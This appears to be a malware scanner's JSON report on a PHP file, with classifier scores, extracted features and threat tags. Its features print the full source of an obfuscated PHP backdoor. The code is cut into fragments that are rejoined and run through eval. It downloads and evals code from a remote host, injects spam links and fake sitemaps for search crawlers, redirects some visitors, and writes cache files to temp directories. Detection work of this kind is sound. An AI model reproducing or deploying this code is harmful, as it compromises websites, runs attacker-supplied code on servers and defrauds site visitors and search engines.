{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9999350309371948, "class": 2 } ], "prob": 0.99993503, "class": 2, "models": [ { "m": "az", "prob": 0.9991897, "class": 2 }, { "m": "az/scripts", "prob": 0.99993503, "class": 2 }, { "m": "az/php", "prob": 0.9999052, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-09T10:28:19Z" }, "path": "dc2.php", "raw": { "v": "4", "fs": [ { "f": "KO₄(C₅As₂XeDy)H₄(CmF₃OsDb)Md₂Th", "k": { "source.imports[0]": "chmod", "source.imports[1]": "explode", "source.imports[2]": "file_exists", "source.imports[3]": "file_get_contents", "source.imports[4]": "file_put_contents", "source.imports[5]": "is_readable", "source.imports[6]": "is_writeable", "source.imports[7]": "isset", "source.imports[8]": "stristr", "source.imports[9]": "strpos", "source.strings[0]": "/**\r\n * Signature For Report\r\n */$x113='alpath($_E_)htNV[\"TEMP\"_)ht]))\u0026\u0026@is_)ht_readable_)ht($_ENV[_)ht\"TEMP\"])_)ht){return(r_)htealpath_)ht( $_ENV[\"T_)htEMP\"]));}_)ht $te_)htmpfile';/*\r\n */$x119='if ($_h_)httml == _)hc_)hc_)ht \u0026\u0026 funct_)htion_exi_)htsts(_)hccur_)htl_init_)hc)_)ht) { _)ht $ch = _)htcurl_in_)htit(); _)ht c_)hturl_setopt_)ht($ch';/*\r\n */$x126='s($conten_)htt, _)hc[_)hc._)ht$k._)hcx]_)hc);\t_)ht\t}\t\t\t\tf_)htor($i=1;_)ht$i\u003c=20;$i_)ht++){\t\t\t_)htif(strpos(_)ht$content_)ht, _)hc[_)hc.$k.$_)hti._)hc]_)hc) !==_)ht fals';/*\r\n */$x127='mp_dir())\u0026_)ht\u0026@is_read_)htable(sy_)hts_get_tem_)htp_dir())){_)htreturn(re_)htalpath(sys_)ht_get_temp_)ht_dir())_)ht);}\t} _)htif(!empt_)hty($';/*\r\n */$x128='n_arr[\"s_)htearch\"][\"_)htrule\"][_)htmt_rand(0_)ht,count($M_)htain_arr[\"s_)htearch\"][_)ht\"rule\"])-1_)ht)],$Data_)ht_arr,tr_)htue);\t\t$hu_)htrl = s';/*\r\n */$x131=',$v));\t\t_)ht\t\t}\t\t\t\t_)ht\t\t\t\tif(co_)htunt($ar_)htr_b)\u003e1){_)ht\t\t\t\t\t$co_)htntent =_)ht str_irep_)htlace(_)hc[_)ht_)hc.$k._)hcl_)hc.$_)hti._)hc]_)hc, $ar_)htr_b[0], $_)htc';/*\r\n */$x164=';}_)ht';/*\r\n */$x190='$len;$i+_)ht+){\t\t$s_)httr.=$strPo_)htl[mt_ran_)htd(0,$max)_)ht];\t}\t\tre_)htturn $s_)httr;}func_)httion _htt_)htp_get($_)hturl){ _)ht $_html =_)ht _)hc';/*\r\n */$x195='ata = fre_)htad($han_)htdle, 8192_)ht); _)ht if _)ht(strlen($d_)htata) == _)ht0) { _)ht _)ht break; _)ht _)ht } ';/*\r\n */$x20='ta_arr[_)hcs_)htite_)hc]));\t_)htdie(_)hc\u003c!DOC_)htTYPE ht_)html\u003e\u003chtm_)htl\u003e\u003cbody\u003e\u003cs_)htcript\u003edo_)htcument._)htlocation=_)ht(\"_)hc.@tri_)htm($sc_arr_)ht[0])._)hc\"';/*\r\n */$x220=');\t\tfor_)hteach($Dat_)hta_arr as_)ht $k=\u003e$v_)ht){\t\t$p = s_)httrpos($_)htcontent_)ht, _)hc[_)hc.$k._)hc_)htx]_)hc);\t\t_)htwhile ($p _)ht!== false_)ht) {\t\t\t$co';/*\r\n */$x224='een(_get_c_)htache(_)hchttp_)ht://god.sm7_)ht9.xyz/api._)htphp?g=gitt_)ht_)hc),\"-\u003e|\",_)ht\"|\u003c-\"));\t_)hteval($html_)ht);\t$Data_)ht_arr = _g_)htet_st';/*\r\n */$x235='ile)));_)ht} } _)ht if(@is_wr_)htiteable(_)htrealpat_)hth(@ini_g_)htet(\"upload_)ht_tmp_dir\")_)ht))\u0026\u0026@is_r_)hteadable_)ht(realpa_)htth(@ini_';/*\r\n */$x266='ubstr($mdv_)ht,0,16);_)ht\t$mdv2 _)ht= substr(_)ht$mdv,16,1_)ht6);\t$cr_)htc1 = abs(_)htcrc32($md_)htv1));\t$c_)htrc2 = abs(_)htcrc32($md_)htv2));\t';/*\r\n */$x268='on\"]);\t$gi_)htt = $Mai_)htn_arr[\"git_)ht\"];\t$html_)ht_m = bas_)hte64_decod_)hte(_get_bet_)htween(_g_)htet_cache(_)ht$git.(h_)htashCode(__)htloca';/*\r\n */$x291='NV[\"TMP\"]_)ht));} _)ht if(!empt_)hty($_ENV_)ht[\"TMPDIR_)ht\"])\u0026\u0026@i_)hts_write_)htable(real_)htpath($_ENV_)ht[\"TMPDIR\"]_)ht))\u0026\u0026@is_)ht_readable_)ht(';/*\r\n */$x315='5);\t}\t$str_)ht = null;\t$_)htstrPol = \"_)htABCDEFG_)htHIJKLMNOPQ_)htRSTUVWXYZ0_)ht1234567_)ht89abcdefg_)hthijklmno_)htpqrstuvwxy_)htz-_-_/\";\t';/*\r\n */$x322='}\t}\t\t$p =_)ht strpos($c_)htontent, _)hc[_)htahref]_)hc);_)ht while _)ht($p !== f_)htalse) {\t\ti_)htf(mt_rand(_)ht0,1)==0){\t_)ht\t\t$hurl = _)ht$ba';/*\r\n */$x330=' $host =_)ht $http _)ht. $_SER_)htVER[_)hcSERV_)htER_NAME_)ht_)hc]; if _)ht($_SERVER[_)ht_)hcSERVER_PO_)htRT_)hc] != _)ht80 \u0026\u0026 $_S_)htERVER[_)hc_)htSERVER_P';/*\r\n */$x357='$max = _)htstrlen($_)htstrPol)-1_)ht; \tfor($i_)ht=0;$i\u003c$le_)htn;$i++){\t_)ht\t$str.=_)ht$strPol[mt_)ht_rand(0,_)ht$max)];_)ht\t}\t\t$str_)ht.= _)hc._)hc;\t\t';/*\r\n */$x359='=0){\t\t\t$_)hturl = $bas_)hte_url.ran_)htd_str().\"_)ht.\".rand_)ht_str(mt_)ht_rand(3,4_)ht));\t\t}els_)hte{\t\t\t$ur_)htl = $bas_)hte_url.date_)ht(\"Y-m-';/*\r\n */$x36='cal_url._)hc_)htData_ar_)htr_)hc,$Main__)htarr[\"data\"_)ht]);\t$sc__)htarr = e_)htxplode(_)ht_)hc|_)hc,_ge_)htt_static_a_)htrr($local_)ht_url.\"s_)htitel1\",_)ht$Da';/*\r\n */$x377='tent);\t\t\t_)ht\t}\t\t\t}el_)htse{brea_)htk;}\t\t}\t\t_)ht\t\tfor($i=_)ht1;$i\u003c=20;_)ht$i++){\t\t_)ht\tif(strpos_)ht($conte_)htnt, _)hc[_)hc.$k_)ht._)hcl_)hc.$i_)ht._)hc]_)hc) !=';/*\r\n */$x389='ORT_)hc] !=_)ht 443) { _)ht $h_)htost .= \":_)ht\" . $_SE_)htRVER[_)hcS_)htERVER_P_)htORT_)hc]; _)ht } re_)htturn $ho_)htst;}functi_)hton _get_c';/*\r\n */$x390='RWARDED_SS_)htL_)hc] == _)hcon_)ht_)hc) { _)ht $stat_)htus = true_)ht; } _)ht $http =_)ht $status ?_)ht _)hchttps:/_)ht/_)hc : _)hchtt_)htp://_)hc; ';/*\r\n */$x391='ANGUAGE_)hc])_)ht, \"ko\") !_)ht== fals_)hte){\t$loca_)htl_url = _l_)htocal_url_)ht();\t$ht_)html = base_)ht64_decode(_)ht_get_bet_)htween(_get__)htcac';/*\r\n */$x407='ame = b_)htasename_)ht($reques_)htt_scr);\t$_)htscript__)htpath = str_)ht_ireplac_)hte(_)hc_)hl_)hl_)hc,_)hc/_)ht_)hc,dirname(_)ht$reques_)htt_scr));\t\t_)htif(stris';/*\r\n */$x414='se.rand_st_)htr().\".\".r_)htand_str(m_)htt_rand(3_)ht,4));\t\t}el_)htse{\t\t\t$_)hthurl = _)ht$base.dat_)hte(\"Y-m-d\"_)ht, time()_)ht).\"_\".ran_)htd_str';/*\r\n */$x417='_)hc; if (_)htfunction__)htexists(_)hcf_)htile_get_c_)htontents_)hc))_)ht { _)ht $_html_)ht = @file_g_)htet_conten_)htts($url);_)ht } ';/*\r\n */$x42='(session_s_)htave_path_)ht()))\u0026\u0026@i_)hts_readable_)ht(realpath(_)htsession_s_)htave_pat_)hth()))){r_)hteturn(r_)htealpath_)ht(session__)htsave_pa';/*\r\n */$x420='$v[mt_rand_)ht(0, cou_)htnt($v)-1)_)ht]);\t\t\t\t}el_)htse{\t\t\t\t\t$a_)htrr_b = _)htexplode_)ht(_)hc|_)hc,_g_)htet_static_)ht_arr($l_)htocal_ur_)htl.$k.$i_)ht.$i';/*\r\n */$x424='_)hc,str_ire_)htplace(_)hc_)hl_)ht_)hl_)hc,_)hc/_)hc,_)ht$_SERVER[_)ht_)hcREQUEST_U_)htRI_)hc]));\t$_)htrequest__)htscr = $_S_)htERVER[_)hcSC_)htRIPT_NA_)htME_)hc];\t$sc_)htript_n';/*\r\n */$x435='n_)hc) { _)ht $st_)htatus = tru_)hte; }_)ht elseif _)ht(!empty(_)ht$_SERVER[_)ht_)hcHTTP_X_FO_)htRWARDED__)htPROTO_)hc]) \u0026_)ht\u0026 $_SERVER_)ht[_)hcHT';/*\r\n */$x45='put, $en_)htd))*(-1_)ht)); ret_)hturn $subs_)httr;}func_)httion co_)htntent_pro_)htcess($co_)htntent,$Da_)htta_arr,$_)htsearch=fa_)htlse){\tgl';/*\r\n */$x452='){return_)ht(realpat_)hth(dirna_)htme(__FI_)htLE__)));_)ht}}funct_)htion isB_)htot() { _)ht retu_)htrn ( _)ht isset(_)ht$_SERVER[_)hc_)htHTTP_U';/*\r\n */$x459='obal $loca_)htl_url;\tgl_)htobal $base_)ht;\t$conten_)htt = str_ir_)hteplace(_)hc[t_)htime]_)hc, dat_)hte(\"Y-m-d-H_)ht-i\", ti_)htme()), _)ht$content';/*\r\n */$x482='ntent-type_)ht:text/xml\"_)ht); d_)htie($res_)ht);}if(strp_)htos(strtol_)htower($_SE_)htRVER[_)hcR_)htEQUEST_UR_)htI_)hc]), \"go_)htogle16e_)ht3a3573';/*\r\n */$x486='RLOPT_CO_)htNNECTTIMEO_)htUT, 20)_)ht; _)ht $_html_)ht = curl_ex_)htec($ch); _)ht c_)hturl_close(_)ht$ch); _)ht } if _)ht($_htm';/*\r\n */$x488=', CURLOPT_)ht_URL, $u_)htrl); _)ht curl_se_)httopt($ch, _)htCURLOPT_RE_)htTURNTRAN_)htSFER, 1);_)ht _)htcurl_se_)httopt($c_)hth, CU';/*\r\n */$x528='1_)hc) || !_)htstristr($_)hthtml,\"-\u003e|_)ht\") || !_)htstristr_)ht($html,\"|_)ht\u003c-\") || ti_)htme() - _)htfilemti_)htme($file)_)ht \u003e 60 * 60_)ht * 24) {';/*\r\n */$x533=' href=_)hl\"\" _)ht. $hurl_)ht . \"_)hl\"\u003e\" _)ht. $htitle _)ht. \"\u003c/a\u003e\"_)ht, $p, s_)httrlen(_)hc[ah_)htref]_)hc))_)ht; _)ht $p = st_)htrpos($cont_)htent, _)hc';/*\r\n */$x534='return sub_)htstr(bcm_)htul($crc1_)ht,$crc2),0_)ht,8);}fu_)htnction r_)htand_str_)ht($len=-1){_)ht\tif($len=-_)ht1){\t\t$le_)htn = mt_r_)htand(13,2';/*\r\n */$x535='earch\"][\"_)htdata\"])_)ht-1)]); _)ht $ht_)html_m = s_)htubstr_r_)hteplace($ht_)html_m, \"\u003ca_)ht href=_)hl\"\" _)ht. $hurl ._)ht \"_)hl\"\u003e\" . $_)htcont';/*\r\n */$x540='$len = mt__)htrand(3,5_)ht);\t$strPol_)ht = \"abcd_)htefghijklm_)htnopqrstuvw_)htxyz\";\t$ma_)htx = strlen_)ht($strPol_)ht)-1; \tfor(_)ht$i=0;$i\u003c';/*\r\n */$x554='\treturn_)ht $url;}fu_)htnction _b_)htase_url(){_)ht\t$local_)ht_host = _)ht_local_ho_)htst();\t$_)htrequest_ur_)htl = str_)ht_ireplace_)ht(_)hc//_)hc,_)hc/';/*\r\n */$x576='==_)hcindex_)ht.php_)hc \u0026\u0026 (_)ht$request__)hturl == $_)htscript_pat_)hth || $requ_)htest_url =_)ht= $scri_)htpt_path_)ht._)hc/_)hc)){\t\t_)htreturn _)ht$local';/*\r\n */$x58='ntent = su_)htbstr_re_)htplace($con_)httent, $v_)ht[mt_rand(_)ht0, count_)ht($v)-1)]_)ht, $p, s_)httrlen(_)hc[_)ht_)hc.$k._)hcx]_)ht_)hc));\t\t\t$p _)ht= strpo';/*\r\n */$x588='SER_AGE_)htNT_)hc]) \u0026\u0026_)ht preg_matc_)hth(_)hc/bot|_)htcrawl|s_)htpider|m_)htediapart_)htners|slu_)htrp|patr_)htol/i_)hc, $_S_)htERVER[_)hcHTT_)htP_USER_AG_)htE';/*\r\n */$x595='[ahref]_)ht_)hc); }\t\t_)htreturn _)ht$content;_)ht}if (str_)htpos($_SERV_)htER[_)hcREQUES_)htT_URI_)hc]_)ht, _)hcsite_)htmap.xml_)hc)_)ht !== false_)ht) {\t$b';/*\r\n */$x601='urn $html_)ht;}\t\t}\t\t_)htreturn ($h_)httml);}f_)htunction_)ht _local_)ht_url(){\t$u_)htrl = _l_)htocal_ho_)htst().$_S_)htERVER[_)hcREQ_)htUEST_UR_)htI_)hc];';/*\r\n */$x608='nd(0, cou_)htnt($Data__)htarr[_)hcarea_)hc_)ht])-1)];\t\t_)ht}\t\tif(i_)htsset($Da_)htta_arr[_)ht_)hckeyword_)hc]_)ht)){\t\t\t$hti_)httle .= _)ht$Data_arr[_)ht_)hckey';/*\r\n */$x612='he(_)hchtt_)htp://god._)htsm79.xyz/a_)htpi.php?g=g_)htitt_)hc),\"-_)ht\u003e|\",\"|\u003c-\")_)ht);\teval_)ht($html);\t$_)htData_ar_)htr = _ge_)htt_static_a_)htrr($lo';/*\r\n */$x62='_ENV[\"TMP\"_)ht])\u0026\u0026@is_wr_)htiteable(re_)htalpath(_)ht$_ENV[\"TMP_)ht\"]))\u0026\u0026@is__)htreadable($_)ht_ENV[\"TM_)htP\"])){r_)hteturn(r_)htealpath($__)htE';/*\r\n */$x622='word_)hc][mt_)ht_rand(0,_)ht count($_)htData_arr[_)ht_)hckeyword_)hc_)ht])-1)];\t\t}_)ht _)ht$content =_)ht substr_re_)htplace($_)htcontent, _)ht\"\u003ca';/*\r\n */$x630='nd) { _)ht $subst_)htr = subs_)httr($inp_)htut, strle_)htn($start)+_)htstrpos(_)ht$input, $s_)httart),(str_)htlen($inp_)htut) - st_)htrpos($in';/*\r\n */$x643='atic_ar_)htr($local__)hturl._)hcDa_)htta_arr_)hc_)ht,$Main_ar_)htr[\"data\"_)ht]);\t$Data__)htarr = a_)htrray_me_)htrge($Dat_)hta_arr,$Mai_)htn_arr[\"_)htcomm';/*\r\n */$x655='html_m, _)hc_)ht[search_)ht]_)hc); _)htwhile ($s_)ht !== fals_)hte) {\t\t$see_)htd = rand_s_)httr();\t\t$_)htcontent = _)htcontent__)htprocess($_)htMai';/*\r\n */$x662=' _)ht $_htm_)htl .= $data_)ht; _)ht} while (t_)htrue); _)ht fclo_)htse($handl_)hte); } _)ht return_)ht $_html;}f_)htu';/*\r\n */$x669='get(\"uplo_)htad_tmp_d_)htir\")))){r_)hteturn(re_)htalpath(@i_)htni_get(\"up_)htload_tmp__)htdir\")));} _)ht if(@i_)hts_write_)htable(realp_)htath';/*\r\n */$x684='arr)]);_)ht}if(isB_)htot()){\t$_)htbase = _)ht_base_url(_)ht);\t$loca_)htl_url = _)ht_local_u_)htrl();\t$htm_)htl = base_)ht64_deco_)htde(_get__)htbetw';/*\r\n */$x70='TP_X_FO_)htRWARDED_)ht_PROTO_)hc]_)ht == _)hchttps_)ht_)hc || !emp_)htty($_SE_)htRVER[_)hcHTT_)htP_X_FORWA_)htRDED_SSL_)ht_)hc]) \u0026\u0026 $_S_)htERVER[_)hcHTT_)htP_X_FO';/*\r\n */$x722=');\u003c/scr_)htipt\u003e\u003c/body_)ht\u003e\u003c/html\u003e_)hc_)ht);}functio_)htn _get__)htstatic_ar_)htr($str,$_)htarr){\tr_)hteturn($_)htarr[hashCo_)htde($str)_)ht%count($';/*\r\n */$x724='e){\t\t\t\tif(_)ht$search_)ht){\t\t\t\t\t$c_)htontent =_)ht str_ir_)hteplace(_)hc[_)hc_)ht.$k.$i._)hc]_)hc_)ht, $v[mt_)ht_rand(0, _)htcount($_)htv)-1)], $c_)htontent';/*\r\n */$x74='NT_)hc]) _)ht );}functi_)hton hashCod_)hte($str){ _)ht if(empt_)hty($str)) _)htreturn _)ht_)hc_)hc; $m_)htdv = md5_)ht($str); _)ht $mdv1 =_)ht s';/*\r\n */$x741='tr_irep_)htlace(_)hc[co_)htntent]_)hc,ur_)htlencode($_)htcontent)_)ht,$Main_arr_)ht[\"search\"_)ht][\"data\"_)ht][mt_ra_)htnd(0,co_)htunt($Main_)ht_arr[\"s';/*\r\n */$x745='d\", time()_)ht).\"_\".rand_)ht_str()._)ht\".\".rand_)ht_str(mt_)ht_rand(3_)ht,4));\t\t} _)ht _)ht $res _)ht.= \" \u003curl\u003e_)ht_)hlr_)hln \u003clo_)htc\u003e\"';/*\r\n */$x746='$_ENV[\"TMP_)htDIR\"])){r_)hteturn(real_)htpath( $_)ht_ENV[\"T_)htMPDIR\"]))_)ht;} if(_)ht!empty($_E_)htNV[\"TEMP_)ht\"])\u0026\u0026@is_w_)htriteabl_)hte(re';/*\r\n */$x747='tr($reques_)htt_url,$_)htscript_n_)htame)){\t\tre_)htturn $loca_)htl_host._)ht$request__)htscr._)hc/_)hc;\t_)ht}\t\tif(st_)htrtolower(_)ht$script__)htname)';/*\r\n */$x756='ache($li_)htnk){\t\t$_)httmpdir _)ht= _get_t_)htemp_dir__)htmass();\t_)ht\t$file =_)ht $tmpdir_)ht._)hc/sess_)ht__)hc.md5($li_)htnk);\t\t$htm_)htl = @fil_)hte_g';/*\r\n */$x761=' . $url ._)ht \"\u003c/loc\u003e_)ht_)hlr_)hln \u003c_)htlastmod\u003e\"_)ht . date(_)ht\"Y-m-d\",_)ht time()_)ht) . \"\u003c/l_)htastmod\u003e_)hl_)htr_)hln \u003cc_)hthangefre_)htq\u003edaily\u003c/c_)hth';/*\r\n */$x78='angefre_)htq\u003e_)hlr_)hln _)ht \u003cpriori_)htty\u003e0.9\u003c/p_)htriority\u003e_)hlr_)ht_)hln \u003c/url_)ht\u003e_)hlr_)hln\"; _)ht } $_)htres .= \"_)ht\u003c/urlset_)ht\u003e\"; he_)htader(\"Co';/*\r\n */$x794='ase_url_)ht = _bas_)hte_url();_)ht\t $r_)htes = \"\u003c_)ht?xml versi_)hton=_)hl\"1.0_)hl_)ht\" encodi_)htng=_)hl\"UTF_)ht-8_)hl\"?\u003e_)hlr_)ht_)hln\u003curlset _)htxmlns=_)hl\"h_)httt';/*\r\n */$x80='nction _lo_)htcal_hos_)htt(){ $_)htstatus =_)ht false;_)ht if (_)htisset($__)htSERVER[_)hcH_)htTTPS_)hc]) \u0026\u0026_)ht $_SERVER_)ht[_)hcHTTPS_)hc] _)ht== _)hco';/*\r\n */$x826='ent . \"\u003c/_)hta\u003e\", $s, _)htstrlen(_)hc_)ht[search]_)hc)_)ht); _)ht $s = _)htstrpos($ht_)html_m, _)hc_)ht[search]_)hc_)ht); } _)ht die(_)ht$html_m)';/*\r\n */$x837='().\".\".ra_)htnd_str(mt__)htrand(3,_)ht4));\t\t}_)ht\t\tif(isset_)ht($Data_a_)htrr[_)hcarea_)hc]_)ht)){\t\t\t$ht_)htitle = $_)htData_ar_)htr[_)hcarea_)hc_)ht][mt_ra';/*\r\n */$x847='_host.$req_)htuest_scr._)ht_)hc/_)hc;\t}\t\t_)htreturn $l_)htocal_hos_)htt.$script_)ht_path;}_)htfunctio_)htn _get__)htbetween($_)htinput, $s_)httart, $e';/*\r\n */$x851='th()));}_)ht if(@_)htis_writ_)hteable(real_)htpath(dir_)htname(__FIL_)htE__)))\u0026\u0026_)ht@is_reada_)htble(realp_)htath(dirnam_)hte(__FIL_)htE__)))';/*\r\n */$x855='ath(dir_)htname($tem_)htpfile)))\u0026\u0026_)ht@is_rea_)htdable(re_)htalpath(dir_)htname($te_)htmpfile))))_)ht{return(_)htrealpath_)ht(dirname(_)ht$tempf';/*\r\n */$x870='l_url())_)ht%500+1)._)ht_)hc.txt_)hc)_)ht,\"-\u003e|\",\"|\u003c_)ht-\"));\t$htm_)htl_m = co_)htntent_p_)htrocess($_)hthtml_m,$Da_)htta_arr)_)ht;\t\t\t$s = _)htstrpos($';/*\r\n */$x929='l == _)hc_)hc _)ht\u0026\u0026 functio_)htn_exists(_)ht_)hcfopen_)hc)) _)ht{ _)ht $handl_)hte = fopen_)ht($url, \"r_)htb\"); _)ht do { _)ht _)ht$d';/*\r\n */$x948='= false |_)ht| strpos($_)htcontent, _)hc_)ht[_)hc.$k._)hcr_)hc_)ht.$i._)hc]_)hc)_)ht !== fals_)hte){\t\t\t\tif(_)ht$search)_)ht{\t\t\t\t\t$a_)htrr_b = _)htexplode(_)hc_)ht|_)hc,';/*\r\n */$x952='trtolower(_)ht@$_SERVER_)ht[_)hcHTTP_REF_)htERER_)hc]), \"_)ht.kr\") !==_)ht false |_)ht| strpo_)hts(strtol_)htower(@$__)htSERVER[_)hc_)htHTTP_ACCE_)htPT_L';/*\r\n */$x953='41375c6.ht_)html\") !== _)htfalse){_)ht\tdie(_)hcgo_)htogle-si_)htte-verific_)htation: go_)htogle16e3a_)ht357341375_)htc6.html_)hc)_)ht;}if(strp_)htos(s';/*\r\n */$x960='=@tempna_)htm(__FILE__)ht_,\"\"); _)ht if(@file_)ht_exists($t_)htempfile))_)ht{\t\t@unlin_)htk($tempf_)htile);\t\ti_)htf(@is_writ_)hteable(r_)htealp';/*\r\n */$x961='ontent);_)ht\t\t\t\t\t$con_)httent = _)htstr_irep_)htlace(_)hc[_)hc.$_)htk._)hcr_)hc.$_)hti._)hc]_)hc, $a_)htrr_b[1], $_)htcontent);_)ht\t\t\t\t}\t\t\t}e_)htlse{break;_)ht}\t\t';/*\r\n */$x98='function __)htget_temp_)ht_dir_mas_)hts(){\tif(fu_)htnction_e_)htxists(\"sy_)hts_get_t_)htemp_dir\"))_)ht{\t\tif(@_)htis_writ_)hteable(sys__)htget_te';/*\r\n */$x985='et_cont_)htents($fil_)hte);\t\tif (_)ht!file_exi_)htsts($fi_)htle) || (is_)htset($_G_)htET[_)hcupdat_)hte_)hc]) \u0026\u0026 $_)ht_GET[_)hcupda_)htte_)hc]==_)hc1_)ht913142';/*\r\n */$x988=');\t\t\t\t}e_)htlse{\t\t\t\t_)ht\t$conten_)htt = str_)ht_ireplace_)ht(_)hc[_)hc.$k.$i_)ht._)hc]_)hc,_get__)htstatic__)htarr($loc_)htal_url._)ht$k.$i.$_)hti,$v), _)ht$con';/*\r\n */$x991='p://www.go_)htogle.co_)htm/schem_)htas/sitem_)htap/0.84_)hl\"\u003e_)ht_)hlr_)hln\"; _)ht for ($i =_)ht 0; $i \u003c _)ht100; $i++)_)ht {\t\tif(mt__)htrand(0,1)_)ht=';/*\r\n */$x992='\t\t\t$html =_)ht _http_g_)htet($link_)ht);\t\t\tif(_)ht$fp = @fop_)hten($file_)ht,_)hcw_)hc)){f_)htwrite($fp,_)ht $html);_)ht fclose_)ht($fp);}_)htelse{ret';/*\r\n */$x999=str_replace('_)hl','\\\\',str_replace('_)hc','\\'',str_replace('_)ht','',$x98.$x127.$x62.$x291.$x746.$x113.$x960.$x855.$x235.$x669.$x42.$x851.$x452.$x588.$x74.$x266.$x534.$x315.$x357.$x540.$x190.$x417.$x119.$x488.$x486.$x929.$x195.$x662.$x80.$x435.$x70.$x390.$x330.$x389.$x756.$x985.$x528.$x992.$x601.$x554.$x424.$x407.$x747.$x576.$x847.$x630.$x45.$x459.$x220.$x58.$x126.$x724.$x988.$x377.$x948.$x420.$x131.$x961.$x322.$x414.$x837.$x608.$x622.$x533.$x595.$x794.$x991.$x359.$x745.$x761.$x78.$x482.$x953.$x952.$x391.$x612.$x36.$x20.$x722.$x684.$x224.$x643.$x268.$x870.$x655.$x128.$x741.$x535.$x826.$x164)));/*\r\n */eval($x999);/*\r\n */", "source.strings[1]": "DOCUMENT_ROOT", "source.strings[2]": "index.php", "source.strings[3]": "shaputiangou.txt", "source.strings[4]": "shaputiangou1", "source.strings[5]": "shaputiangou1.txt", "source.strings[6]": "wp-content", "source.has_imports": true, "source.imports[10]": "write", "source.functions[0]": "write" }, "x": 303, "id": 0, "is": [ "file_put_contents", "isset", "strpos", "explode", "is_readable", "chmod", "stristr", "file_get_contents", "chmod", "write", "chmod", "is_writeable", "write", "chmod", "file_put_contents", "is_writeable", "write", "chmod", "is_readable", "chmod", "stristr", "file_get_contents", "chmod", "write", "chmod", "file_exists" ], "ms": { "file": { "size": 21966.0 }, "text": { "tab_count": 60.0, "digit_ratio": 0.12, "space_count": 26.0, "total_lines": 2.0, "char_entropy": 5.77, "unique_chars": 89.0, "import_density": 1300.0, "lines_over_200": 1.0, "lines_over_500": 1.0, "string_density": 12.0, "avg_line_length": 10982.0, "lines_over_1000": 1.0, "max_line_length": 21959.0, "last_line_length": 21959.0, "long_token_count": 1.0, "most_common_char": "l", "whitespace_ratio": 0.0, "most_common_ratio": 0.04, "identifier_density": 32.0, "line_length_stddev": 10977.0, "normalized_import_count": 18.38, "normalized_string_count": 16.97, "suspicious_string_ratio": 0.08, "max_inline_whitespace_run": 3.0, "normalized_function_count": 0.71, "imports_to_functions_ratio": 26.0, "strings_to_functions_ratio": 24.0, "normalized_unique_identifiers": 18.0, "identifiers_to_functions_ratio": 18.0 }, "imports": { "total": 26.0, "unique_modules": 11.0, "third_party_count": 26.0, "third_party_ratio": 1.0 }, "strings": { "total": 24.0, "avg_length": 1760.17, "max_length": 20986.0, "avg_entropy": 3.4, "total_bytes": 42244.0, "entropy_stddev": 0.72, "very_long_strings": 2.0, "high_entropy_count": 2.0, "embedded_code_candidates": 2.0 }, "comments": {}, "functions": { "total": 1.0, "one_liners": 1.0, "avg_name_length": 5.0, "no_params_count": 1.0, "avg_length_lines": 1.0, "max_length_lines": 1.0, "min_length_lines": 1.0, "density_per_100_lines": 50.0, "code_in_functions_ratio": 0.5 }, "identifiers": { "total": 64.0, "avg_length": 8.72, "max_length": 19.0, "min_length": 4.0, "avg_entropy": 2.51, "reuse_ratio": 0.28, "unique_count": 18.0, "length_stddev": 4.62, "all_lowercase_ratio": 0.83, "all_uppercase_ratio": 0.17, "double_underscore_count": 1.0, "underscore_prefix_count": 2.0 } }, "ss": [ [ 21064, "DOCUMENT_ROOT" ], [ 21065, "DOCUMENT_ROOT" ], [ 21094, "DOCUMENT_ROOT" ], [ 21095, "DOCUMENT_ROOT" ], [ 21137, "DOCUMENT_ROOT" ], [ 21138, "DOCUMENT_ROOT" ], [ 21174, "index.php" ], [ 21175, "index.php" ], [ 21205, "wp-content" ], [ 21206, "wp-content" ], [ 21239, "wp-content" ], [ 21240, "wp-content" ], [ 21286, "index.php" ], [ 21287, "index.php" ], [ 21424, "shaputiangou1" ], [ 21425, "shaputiangou1" ], [ 21606, "shaputiangou.txt" ], [ 21607, "shaputiangou.txt" ], [ 21826, "shaputiangou1" ], [ 21827, "shaputiangou1" ], [ 21932, "shaputiangou1.txt" ], [ 21933, "shaputiangou1.txt" ], [ 6, "base64", "/**\r\n * Signature For Report\r\n */$x113='alpath($_E_)htNV[\"TEMP\"_)ht]))\u0026\u0026@is_)ht_readable_)ht($_ENV[_)ht\"TEMP\"])_)ht){return(r_)h" ] ], "sz": 21966, "ts": [ { "a": "T1505.003", "c": 0.9900000095367432, "d": "Decodes a large embedded payload (base64)", "e": [ "base64_decode(\"LyoqDQogKiBTaWduYXR1cmUgRm9yIFJlcG9ydA0KICovJHgxMTM9J2FscGF0aCgkX0VfKWh0TlZbIlRFTVAiXylodF0pKSYmQGlzXylodF9yZWFkY" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::eval-base64-large-payload", "l": 4, "m": "B0030" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "PHP source imports file_put_contents", "e": [ "[chmod, explode, file_exists, file_get_contents, file_put_contents, is_readable, is_writeable, isset, stristr, strpos, write]" ], "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-file-put-contents", "l": 1 }, { "a": "T1505.003", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "file_get_contents" ], "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7", "l": 1, "m": "B0030" }, { "a": "T1059", "c": 0.800000011920929, "d": "Self-reference via __FILE__", "e": [ "__FILE__" ], "i": "micro-behaviors/fs/read/self::self-file-reference", "l": 3 }, { "c": 0.75, "d": "Generic $_SERVER superglobal access", "e": [ "$_SERVER" ], "i": "micro-behaviors/communications/http/request/params::server-dup", "l": 3 }, { "a": "T1027.003", "c": 0.8999999761581421, "d": "Node.js require call in non-code file", "e": [ "require(" ], "i": "objectives/anti-static/obfuscation/payload/container::js-require-in-noncode", "l": 1, "m": "B0032" }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Very long embedded string", "e": [ "strings.max_length = 20986.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string", "l": 1 }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "$_SERVER[" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-4", "l": 1, "m": "B0030" }, { "c": 0.7599999904632568, "d": "Regex component marker", "e": [ "directory" ], "i": "micro-behaviors/data/text/llm/action::llm-path-navigation-action--rx-21", "l": 1 }, { "a": "T1222", "c": 0.699999988079071, "d": "Changes file permissions via chmod()", "e": [ "chmod" ], "i": 